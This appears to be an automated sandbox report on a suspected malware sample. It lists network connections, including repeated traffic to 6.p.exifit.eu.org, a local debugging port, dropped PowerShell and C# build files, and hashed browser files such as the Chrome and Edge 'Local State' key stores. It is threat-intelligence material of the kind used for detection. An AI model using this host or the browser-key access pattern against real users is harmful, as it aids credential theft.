GB 2.18.27.82:443 www.bing.com tcp
GB 2.18.27.82:443 www.bing.com tcp
GB 2.18.27.82:443 www.bing.com tcp
GB 2.18.27.76:443 www.bing.com udp
GB 2.22.144.74:443 assets.msn.com udp
US 204.79.197.203:443 srtb.msn.com tcp
US 8.8.8.8:53 r.bing.com udp
US 8.8.8.8:53 r.bing.com udp
US 8.8.8.8:53 r.msftstatic.com udp
US 8.8.8.8:53 r.msftstatic.com udp
GB 2.18.27.76:443 r.bing.com tcp
US 204.79.197.219:443 r.msftstatic.com tcp
GB 2.18.27.76:443 r.bing.com tcp
US 204.79.197.219:443 r.msftstatic.com tcp
GB 2.18.27.82:443 www.bing.com tcp
US 150.171.27.11:443 edge.microsoft.com tcp
US 8.8.8.8:53 update.googleapis.com udp
US 8.8.8.8:53 update.googleapis.com udp
GB 142.250.200.3:443 update.googleapis.com tcp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 edge.microsoft.com udp
US 150.171.28.11:443 edge.microsoft.com tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
GB 2.22.144.74:443 assets.msn.com udp
GB 2.22.144.74:443 assets.msn.com udp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
N/A 127.0.0.1:9223 tcp
N/A 127.0.0.1:9223 tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
GB 142.250.179.227:80 c.pki.goog tcp

Files

memory/4216-0-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-1-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-2-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-11-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-12-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-17-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-18-0x0000000000400000-0x0000000000439000-memory.dmp

memory/5032-21-0x000001FF9ECC0000-0x000001FF9ECD0000-memory.dmp

memory/5032-22-0x000001FF9ECC0000-0x000001FF9ECD0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lldicwfl.yfr.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5032-32-0x000001FF9EDD0000-0x000001FF9EDF2000-memory.dmp

memory/5032-33-0x000001FF9ECC0000-0x000001FF9ECD0000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

MD5 37ff0bd280e8ab126f3d6ede0b9d3305
SHA1 84b8e9a1b85695d13592eb93f3c6e9b7762947bd
SHA256 40cf43e81b85f3c78c87c90d43e9f96c538dca47a03c9689e4622ca9b4bacaff
SHA512 7723049fc8ed3890c592aa15bb0631f692b7ff2a09d5a0049414a9d6d1e5e55f33cf382efb31175af16a48b32aaf02638d7204b8200cd1f80f07c7efc7a2a148

\??\pipe\crashpad_5064_YGTIVHKQKXHRORJW

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

memory/4216-72-0x0000000000400000-0x0000000000439000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\aw4f5ufg\aw4f5ufg.cmdline

MD5 a8f066f45e9ab0180840ff6bd146a7e5
SHA1 0fb7e26fa1a1c6b74ea907d84ce61635f2b4337c
SHA256 bffbc270c623ecf1ad8841207b05f36812fe80759103a308ad6761924ccb91e6
SHA512 9c351067604963b5af9be9d82fc59796b89e75c7455c8a09afd9aa71c4b98789b5eab0415dff2ece119caa7dac82991ba6c46f4ffa7a328d6ff5aa4a5b88c2b4

\??\c:\Users\Admin\AppData\Local\Temp\aw4f5ufg\aw4f5ufg.0.cs

MD5 3d1018b223caf0c61982a29cb26996cc
SHA1 743fd8c82380e7d72ec1cb2e05f149e148874b0e
SHA256 786a71b68cee9392682824e67abfb89e5ec70ee6fb37213491b5c9a95ac59c92
SHA512 7a632143e76410669fff27e2fa184d572a788e9d315f7c2415c7013cb07026678fe1b3e4fb1a77411f82941d7a03c64632c07d3fc1398e2df5741471b9462980

\??\c:\Users\Admin\AppData\Local\Temp\aw4f5ufg\CSCA182C6B590C24306A89C75F459F6FB14.TMP

MD5 69ada5ea3dab30e018e96cd1b1ea6732
SHA1 5761f0c72b4f7353446323e93296ea412e4cdef3
SHA256 5e433f64e6c2a2164b872abd4d1c49ad3231bbcb414013fc6025c789cfea7551
SHA512 827862920e905f734701f9b58950447c2e58dc12c3ed47ec097b7d94a803a7b4b7e7c0b4c9acf8a40941a7def5b6f229b244320cee01a3cbe62a4b993afdc4f5

C:\Users\Admin\AppData\Local\Temp\RES8F40.tmp

MD5 6c1a90049a6acbef94573d139023601e
SHA1 b7eb40fe031b705cc9b031d249ce77c937ee9320
SHA256 e65a802504e2b2ba016f28f08eec9d3adf603e6a70cbd5b1fe2d25e613556aac
SHA512 5a08317254d5c1150fa151ab2a5e3d4b132f20af95b2fa8fca00f6d6822ce3a3bb592b0851b248cd3c3ce68eb4db9085a4413f3b5936897af21efc0c545d3b56

C:\Users\Admin\AppData\Local\Temp\aw4f5ufg\aw4f5ufg.dll

MD5 8e7e115259b911d5436c065d0317ce77
SHA1 308120ee003adee5a17c5897af611b82944ab413
SHA256 c38f16a05957160fffd4e338d8777acc1d5b9598512e697f61efedb0de0b70b9
SHA512 e8b3da2da34715e29b23f14cf9622dccc6fb3b7d8ab12ff557c71e9242f5289082e385ca0067b66ab1a11fca5dd338ae90ff5a9f080a55d0cc31ebec2775a2cc

C:\Users\Admin\AppData\Local\Temp\tmp7E38.tmp

MD5 40a13f9b39d6d3e649cf21f1b47da9ad
SHA1 b03d7f8ad2f90c61063e54cf45c01677f6a86942
SHA256 3cd5effba4bc90a72efe5e97609c962dd91d5b50e41f13bfa0f5606d322a5278
SHA512 7e821747ca4db1654c3ce01e31bc0bddfeb092464b0dea9aa8d5370c01dc0fc141fedcd168553c502a417b7703ced120ff53448c4135338cdff937a6f5f9cd5b

memory/5032-87-0x000001FF9F160000-0x000001FF9F168000-memory.dmp

memory/4216-94-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-95-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-98-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-102-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-103-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-104-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-108-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-112-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-113-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-114-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-115-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-116-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-119-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-123-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-124-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-125-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-129-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-133-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-134-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-135-0x0000000000400000-0x0000000000439000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 221c52e108a3104ef5d28deba7d1c1bf
SHA1 2443401cf6b1a637391059c987bb6d4c3e6611e9
SHA256 bf637f3160da25a064f424775ceb7b7dd4cace0ec309db05964738a42bf23b28
SHA512 a2489d48f320006c9023d320c346dd2465364e130885d46b92b4c3e2c3f3959a9120abbf49418b3876d19f149d7e3555bdcf28b182f7e8d96ac9afde97b01dcb

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 b64b527f9034d65977b9a710f4f24fb5
SHA1 f1bd7ff7bd9bd8e9323ba78b5d598c5d5c66cc0d
SHA256 3c806fb8165617a963ff477113ed4764314a3a95dec5636fbfe43e77a8ae94ff
SHA512 df7dbe112066c831c2bc1ea38d0e826a5fb632542ce27203a4cac5491b132766dd758dc700f0e3f07b43de27b5a9e329d084a61cb3ffe747d926d6268d036298

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\48e6e290-132b-4984-be8d-5c9e1ebdf6e3\index-dir\the-real-index

MD5 3f6dfeaeb1be49a9d0cfefb98693b1f7
SHA1 ec1c201bbab814f5499e565d449f7b5636e646cb
SHA256 f45a6a8e7ea0d69ab39f20f380ade97c1fb256cdeabbbec449f6b9b7d0bbef47
SHA512 89f98f379c485b7cd5e28b58f72d4274736ea7245ee89e6ec15e6dcf5df3e4c9ce5ff0d1bf47635cdfaaefeca5c42e09ad4c33983751e6d64aeb5b974049a28a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\48e6e290-132b-4984-be8d-5c9e1ebdf6e3\index-dir\the-real-index~RFe57b74a.TMP

MD5 35db1c2bdf526aa573b824c9de650505
SHA1 e3b46e9552c42f27cf993b1e8975e0acc8df9644
SHA256 cc6a6af03d45718d704df646dbf159ea9cfbbe1c58e517319c1098789fd2104b
SHA512 e30a0d258c03755e4b785f2b7e28321173c5a68eb718d1e9a679aefc7e8356dcf454066287822ad78424ea2ef3d73a9c81efd9e6269c1be296e8df205f54f6c3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps

MD5 06d55006c2dec078a94558b85ae01aef
SHA1 6a9b33e794b38153f67d433b30ac2a7cf66761e6
SHA256 088bb586f79dd99c5311d14e1560bbe0bb56225a1b4432727d2183341c762bcd
SHA512 ec190652af9c213ccbb823e69c21d769c64e3b9bae27bea97503c352163bf70f93c67cebbf327bfc73bfd632c9a3ae57283b6e4019af04750fe18a2410a68e60

memory/4216-564-0x0000000000400000-0x0000000000439000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log

MD5 445d74ab98e9d6e0456b60486a2c4be7
SHA1 cda5f44204a8371d0155acbe7d5b2675f7176edb
SHA256 a97a0e875d0adea8c06590aff0093ae17785297b7355c2925a07f1f261d46ebf
SHA512 6d198e257b78b6acfa4e7ac11079bc4ff99d796bb95578b5da5993494cc326f3511d096f2c5a54d6ce2a814c3024fa7bfdf436f3b86431c33be06726feb2c0e0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

memory/4216-640-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-643-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-646-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-647-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-651-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-652-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-653-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-654-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-655-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4216-660-0x0000000000400000-0x0000000000439000-memory.dmp